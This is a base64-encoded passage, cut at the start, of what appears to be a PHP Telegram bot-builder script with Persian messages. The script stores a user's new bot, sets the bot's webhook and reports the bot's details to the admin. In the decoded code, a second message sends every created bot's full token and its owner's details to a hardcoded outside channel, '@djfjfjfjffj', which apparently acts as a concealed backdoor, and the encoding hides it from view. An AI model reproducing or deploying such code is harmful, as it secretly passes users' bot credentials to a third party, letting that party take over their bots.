pbGVfZ2V0X2NvbnRlbnRzKCJwbXJlc2FuLnBocCIpOwoJCQkJCQkJCSRvbmU9c3RyX3JlcGxhY2UoIltUT0tFTl0iLCIkdGV4dDEiLCRwbXJlc2FuKTsKCQkJCQkJCSR0d289c3RyX3JlcGxhY2UoIltBRE1JTl0iLCIkZmFkbWluIiwkb25lKTsKCQkJCQkJCSR0aHJlZT1zdHJfcmVwbGFjZSgiW1VTRVJCT1RdIiwiJHVzZXJuYW1lIiwkdHdvKTsKCQkJCQkJCgkJCQkJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCJkYXRhLyRmYWRtaW4vJHVzZXJuYW1lLyR1c2VybmFtZS5waHAiLCR0aHJlZSk7CQoJCQkJCQkJJHBtbmV3PSJodHRwczovL2UuLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLnQuaXIvZGF0YS8kZmFkbWluLyR1c2VybmFtZS8kdXNlcm5hbWUucGhwIjsKCQkJCQkJJHdlYmhvb2s9Imh0dHBzOi8vYS4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4ubS5vcmcvYm90JHRleHQxL3NldHdlYmhvb2s/dXJsPSRwbW5ldyI7CQoJCQkJCQlmaWxlX3B1dF9jb250ZW50cygiZGF0YS8kZmFkbWluL2JvdG5hbWUudHh0IiwkdXNlcm5hbWUpOwkKCQkJCQkJZmlsZV9wdXRfY29udGVudHMoImRhdGEvJGZhZG1pbi9vbmUudHh0IiwibnVsbCIpOwkJCgkJCQkJCQlmaWxlX2dldF9jb250ZW50cygkd2ViaG9vayk7CQoJCQkJCQkJZmlsZV9nZXRfY29udGVudHMoImh0dHBzOi8vYS4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4ubS5vcmcvYm90JHRleHQxL3NlbmRtZXNzYWdlP2NoYXRfaWQ9JGZhZG1pbiZ0ZXh0Pdix2KjYp9iqK9i02YXYpyvYqNinK9mF2YjZgdmC24zYqivYqNixK9ix2YjbjCvYs9ix2YjYsSvYqtuM2YUr2YHZiNix2YXYp9iz2Kor2LHYp9mG4oCMK9i02K/inIUrKyvZh9mF24zZhivYp9mE2KfZhisr2LHYqNin2Kor2K7ZiNivK9ix2Kcr2LTYrti124wr2LPYp9iy24wr2qnZhtuM2K8rKy9zdGFydCIpOwoJCQkJCQkJYm90KCdzZW5kbWVzc2FnZScsWwoJCQkJCQknY2hhdF9pZCc9PiRjaGF0X2lkLAoJCQkJCQkndGV4dCc9PiLbjNqpINix2KjYp9iqINio2Kcg2YXYtNiu2LXYp9iqINiy24zYsSDYr9ixINiz2LHZiNixINmB2YjYsdmF2KfYs9iqINin2b7Yr9uM2Kog2LTYr+KclO+4jwoK4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paICtin2LfZhNin2LnYp9iqINix2KjYp9iqIDrwn5SDCvCfpJbZhtin2YUg2LHYqNin2KogOiAkZmlyc3RfbmFtZWJvdArwn6SW24zZiNiy2LHZhtuM2YUg2LHYqNin2KogOiBAJHVzZXJuYW1lCvCfpJbYp9uM2K/bjCDYsdio2KfYqiA6ICRpZArwn6SW2KrZiNqp2YYg2LHYqNin2KogOgokdGV4dDEKCuKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiArYp9i32YTYp9i52KfYqiDYp9iv2YXbjNmGINix2KjYp9iqIDog8J+UgwoK8J+RpCDZhtin2YUg2KfYr9mF24zZhiA6ICRmbmFtZQrwn5Gk24zZiNiy2LHZhtuM2YUg2KfYr9mF24zZhiA6IEAkdW5hbWUK8J+RpNin24zYr9uMINin2K/ZhduM2YYgOiAkZmFkbWluCgrilojilojilojilojilojilojilojilojilojilojilojilojilogK2YXYtNiu2LXYp9iqINiq2KfYsduM2K4g2LPYp9iu2Kog2LHYqNin2KogOgoK4o+w2LPYp9i52KogOiAkdGltZQrij7DYqtin2LHbjNiuIDogJGRhdGUiLAoncmVwbHlfbWFya3VwJz0+JGtleWhvbWUsCQoJCQkJCQkJXSk7CgkJCQkJCQlib3QoJ3NlbmRtZXNzYWdlJyxbCgkJCQkJCQknY2hhdF9pZCc9PiJAZGpmamZqZmpmZmoiLAoJCQkJCQkJJ3RleHQnPT4i24zaqSDYsdio2KfYqiDYqNinINmF2LTYrti12KfYqiDYstuM2LEg2K/YsSDYs9ix2YjYsSDZgdmI2LHZhdin2LPYqiDYp9m+2K/bjNiqICDYtNiv4pyU77iPCgrilojilojilojilojilojilojilojilojilojilojilojilojilogK2KfYt9mE2KfYudin2Kog2LHYqNin2KogOvCflIMK8J+kltmG2KfZhSDYsdio2KfYqiA6ICRmaXJzdF9uYW1lYm90CvCfpJbbjNmI2LLYsdmG24zZhSDYsdio2KfYqiA6IEAkdXNlcm5hbWUK8J+kltin24zYr9uMINix2KjYp9iqIDogJGlkCvCfpJbYqtmI2qnZhiDYsdio2KfYqiA6CiR0ZXh0MQoK4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paICtin2LfZhNin2LnYp9iqINin2K/ZhduM2YYg2LHYqNin2KogOiDwn5SDCgrwn5GkINmG2KfZhSDYp9iv2YXbjNmGIDogJGZuYW1lCvCfkaTbjNmI2LLYsdmG24zZhSDYp9iv2YXbjNmGIDogQCR1bmFtZQrwn5Gk2KfbjNiv24wg2KfYr9mF24zZhiA6ICRmYWRtaW4KCuKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiArZhdi02K7Ytdin2Kog2KrYp9ix24zYriDYs9in2K7YqiDYsdio2KfYqiA6Cgrij7DYs9in2LnYqiA6ICR0aW1lCuKPsNiq2KfYsduM2K4gOiAkZGF0ZSIsCgkJCQkJCQldKTsKCQkJCQkJCQl9CgkJCQkJCQkJfQoJCQkJCQkJCX0KICR0eHh0ID0gZmlsZV9nZXRfY29udGVudHMoImRhdGEvdXNlcnB2Zm9yZW1vc3QudHh0IiwiYSsiKTsKICAgICRwbWVtYmVyc2lkPSBleHBsb2RlKCJcbiIsJHR4eHQpOwogICAgaWYgKCFpbl9hcnJheSgkZmFkbWluLCRwbWVtYmVyc2lkKSl7CiAgICAgICRhYWRkZCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCJkYXRhL3VzZXJwdmZvcmVtb3N0LnR4dCIpOwogICAgICAkYWFkZGQgLj0gJGZhZG1pbi4iXG4iOwogICAgICBmaWxlX3B1dF9jb250ZW50cygiZGF0YS91c2VycHZmb3JlbW9zdC50eHQiLCRhYWRkZCk7Cn0gICAKPz4=